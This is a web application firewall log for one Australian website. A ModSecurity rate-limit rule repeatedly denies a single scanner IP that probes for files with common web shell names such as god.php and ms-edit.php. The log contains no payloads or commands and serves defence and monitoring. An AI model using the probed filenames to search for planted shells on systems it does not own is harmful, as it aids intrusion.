[Mon Mar 02 11:03:28.760252 2026] [:error] [pid 23872:tid 23897] [client 172.190.142.176:40820] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaT-AEzkQFuA2qBk8UPW6wAAAZY"]
[Mon Mar 02 11:03:29.436485 2026] [:error] [pid 28908:tid 28912] [client 172.190.142.176:20970] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaT-AYqJmC8ih_lQQnAPfwAAAMI"]
[Mon Mar 02 11:03:30.426015 2026] [:error] [pid 23872:tid 23895] [client 172.190.142.176:10046] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaT-AkzkQFuA2qBk8UPW9QAAAZQ"]
[Mon Mar 02 11:03:31.104167 2026] [:error] [pid 23872:tid 23898] [client 172.190.142.176:15688] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaT-A0zkQFuA2qBk8UPW_AAAAZc"]
[Mon Mar 02 11:03:31.601751 2026] [:error] [pid 23872:tid 23881] [client 172.190.142.176:35952] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaT-A0zkQFuA2qBk8UPXAgAAAYY"]
[Mon Mar 02 11:03:32.237213 2026] [:error] [pid 31257:tid 31284] [client 172.190.142.176:32264] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaT-BP-JFLfishX45N9G9gAAARU"]
[Mon Mar 02 11:03:32.685847 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:14240] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaT-BEzkQFuA2qBk8UPXCAAAAYo"]
[Mon Mar 02 11:03:33.239555 2026] [:error] [pid 21575:tid 21588] [client 172.190.142.176:35946] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aaT-BSrocdArcJqFfInElgAAAUk"]
[Mon Mar 02 11:03:33.872890 2026] [:error] [pid 28793:tid 28831] [client 172.190.142.176:59186] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaT-BQ2_fxBANaHo1f5ZwwAAABg"]
[Mon Mar 02 11:03:34.407843 2026] [:error] [pid 28908:tid 28930] [client 172.190.142.176:13930] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaT-BoqJmC8ih_lQQnAPhQAAANQ"]
[Mon Mar 02 11:03:35.074643 2026] [:error] [pid 28908:tid 28931] [client 172.190.142.176:36405] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaT-B4qJmC8ih_lQQnAPhwAAANU"]
[Mon Mar 02 11:03:35.517846 2026] [:error] [pid 28793:tid 28808] [client 172.190.142.176:11171] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaT-Bw2_fxBANaHo1f5ZxAAAAAE"]
[Mon Mar 02 11:03:36.008819 2026] [:error] [pid 31257:tid 31281] [client 172.190.142.176:36373] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "aaT-CP-JFLfishX45N9HAgAAARI"]
[Mon Mar 02 11:03:36.528753 2026] [:error] [pid 23872:tid 23888] [client 172.190.142.176:11193] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "aaT-CEzkQFuA2qBk8UPXEAAAAY0"]
[Mon Mar 02 11:03:36.986187 2026] [:error] [pid 28793:tid 28810] [client 172.190.142.176:36402] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "aaT-CA2_fxBANaHo1f5ZyQAAAAM"]
[Mon Mar 02 11:03:37.495251 2026] [:error] [pid 31257:tid 31275] [client 172.190.142.176:48156] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gec.php"] [unique_id "aaT-Cf-JFLfishX45N9HBQAAAQw"]
[Mon Mar 02 11:03:37.925903 2026] [:error] [pid 31257:tid 31277] [client 172.190.142.176:13924] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aaT-Cf-JFLfishX45N9HBwAAAQ4"]
[Mon Mar 02 11:03:38.364884 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:3485] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aaT-CkzkQFuA2qBk8UPXFgAAAYs"]
[Mon Mar 02 11:03:38.846425 2026] [:error] [pid 28795:tid 28878] [client 172.190.142.176:42477] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aaT-CrROd53wZBkdI_eyIAAAAI8"]
[Mon Mar 02 11:03:39.307478 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:37497] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aaT-C0zkQFuA2qBk8UPXGAAAAZM"]
[Mon Mar 02 11:03:39.745406 2026] [:error] [pid 21575:tid 21592] [client 172.190.142.176:59169] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaT-CyrocdArcJqFfInEnQAAAU0"]
[Mon Mar 02 11:03:40.219925 2026] [:error] [pid 23872:tid 23880] [client 172.190.142.176:1894] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaT-DEzkQFuA2qBk8UPXGgAAAYU"]
[Mon Mar 02 11:03:40.695205 2026] [:error] [pid 23872:tid 23882] [client 172.190.142.176:11160] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaT-DEzkQFuA2qBk8UPXHAAAAYc"]
[Mon Mar 02 11:03:41.110984 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:1865] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaT-Df-JFLfishX45N9HDgAAAQE"]
[Mon Mar 02 11:03:41.549404 2026] [:error] [pid 28793:tid 28817] [client 172.190.142.176:32212] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaT-DQ2_fxBANaHo1f5ZygAAAAo"]
[Mon Mar 02 11:03:42.001403 2026] [:error] [pid 21575:tid 21598] [client 172.190.142.176:35049] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaT-DirocdArcJqFfInEpQAAAVM"]
[Mon Mar 02 11:03:42.561478 2026] [:error] [pid 28795:tid 28886] [client 172.190.142.176:44421] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaT-DrROd53wZBkdI_eyIgAAAJc"]
[Mon Mar 02 11:03:42.973920 2026] [:error] [pid 28794:tid 28844] [client 172.190.142.176:52505] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaT-DqVy2qpaelbUob16OgAAAEg"]
[Mon Mar 02 11:03:43.429022 2026] [:error] [pid 28908:tid 28916] [client 172.190.142.176:33179] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaT-D4qJmC8ih_lQQnAPlgAAAMY"]
[Mon Mar 02 11:03:43.913687 2026] [:error] [pid 28908:tid 28927] [client 172.190.142.176:52537] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaT-D4qJmC8ih_lQQnAPmQAAANE"]
[Mon Mar 02 11:03:44.457287 2026] [:error] [pid 23872:tid 23898] [client 172.190.142.176:29584] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaT-EEzkQFuA2qBk8UPXJwAAAZc"]
[Mon Mar 02 11:03:44.889505 2026] [:error] [pid 23872:tid 23897] [client 172.190.142.176:44440] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ocxla.php"] [unique_id "aaT-EEzkQFuA2qBk8UPXKwAAAZY"]
[Mon Mar 02 11:03:45.399204 2026] [:error] [pid 28908:tid 28929] [client 172.190.142.176:25242] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaT-EYqJmC8ih_lQQnAPmgAAANM"]
[Mon Mar 02 11:03:45.945772 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:44455] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaT-EUzkQFuA2qBk8UPXMAAAAY4"]
[Mon Mar 02 11:03:46.417764 2026] [:error] [pid 31257:tid 31273] [client 172.190.142.176:1895] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaT-Ev-JFLfishX45N9HHAAAAQo"]
[Mon Mar 02 11:03:46.841523 2026] [:error] [pid 23872:tid 23883] [client 172.190.142.176:26806] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaT-EkzkQFuA2qBk8UPXMgAAAYg"]
[Mon Mar 02 11:03:47.402471 2026] [:error] [pid 31257:tid 31270] [client 172.190.142.176:1674] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaT-E_-JFLfishX45N9HJgAAAQc"]
[Mon Mar 02 11:03:47.963342 2026] [:error] [pid 23872:tid 23887] [client 172.190.142.176:20568] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaT-E0zkQFuA2qBk8UPXOAAAAYw"]
[Mon Mar 02 11:03:48.456037 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:31522] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaT-FEzkQFuA2qBk8UPXPQAAAYo"]
[Mon Mar 02 11:03:48.891766 2026] [:error] [pid 21575:tid 21594] [client 172.190.142.176:52521] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaT-FCrocdArcJqFfInErAAAAU8"]
[Mon Mar 02 11:03:49.650075 2026] [:error] [pid 31257:tid 31286] [client 172.190.142.176:27424] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaT-Ff-JFLfishX45N9HKQAAARc"]
[Mon Mar 02 11:03:50.127173 2026] [:error] [pid 23872:tid 23884] [client 172.190.142.176:35696] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaT-FkzkQFuA2qBk8UPXSQAAAYk"]
[Mon Mar 02 11:03:50.597708 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:21062] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaT-FkzkQFuA2qBk8UPXSwAAAYo"]
[Mon Mar 02 11:03:51.041244 2026] [:error] [pid 31257:tid 31275] [client 172.190.142.176:41060] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zz.php"] [unique_id "aaT-F_-JFLfishX45N9HLwAAAQw"]
[Mon Mar 02 11:03:51.502450 2026] [:error] [pid 31257:tid 31270] [client 172.190.142.176:31542] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaT-F_-JFLfishX45N9HMgAAAQc"]
[Mon Mar 02 11:03:51.941023 2026] [:error] [pid 23872:tid 23875] [client 172.190.142.176:61877] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaT-F0zkQFuA2qBk8UPXTwAAAYA"]
[Mon Mar 02 11:03:52.488085 2026] [:error] [pid 28908:tid 28913] [client 172.190.142.176:45852] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaT-GIqJmC8ih_lQQnAPoQAAAMM"]
[Mon Mar 02 11:03:52.941334 2026] [:error] [pid 31257:tid 31273] [client 172.190.142.176:27405] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaT-GP-JFLfishX45N9HOQAAAQo"]
[Mon Mar 02 11:03:53.524959 2026] [:error] [pid 31257:tid 31278] [client 172.190.142.176:61854] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaT-Gf-JFLfishX45N9HPgAAAQ8"]
[Mon Mar 02 11:03:54.037595 2026] [:error] [pid 28794:tid 28848] [client 172.190.142.176:25667] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaT-GqVy2qpaelbUob16PgAAAEw"]
[Mon Mar 02 11:03:54.617804 2026] [:error] [pid 28794:tid 28846] [client 172.190.142.176:28865] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaT-GqVy2qpaelbUob16PwAAAEo"]
[Mon Mar 02 11:03:55.050229 2026] [:error] [pid 28793:tid 28813] [client 172.190.142.176:58284] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sdsa.php"] [unique_id "aaT-Gw2_fxBANaHo1f5Z1gAAAAY"]
[Mon Mar 02 11:03:55.591955 2026] [:error] [pid 23872:tid 23890] [client 172.190.142.176:21078] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaT-G0zkQFuA2qBk8UPXVgAAAY8"]
[Mon Mar 02 11:03:56.042663 2026] [:error] [pid 23872:tid 23895] [client 172.190.142.176:9614] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaT-HEzkQFuA2qBk8UPXWwAAAZQ"]
[Mon Mar 02 11:03:56.568194 2026] [:error] [pid 23872:tid 23879] [client 172.190.142.176:9628] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaT-HEzkQFuA2qBk8UPXXgAAAYQ"]
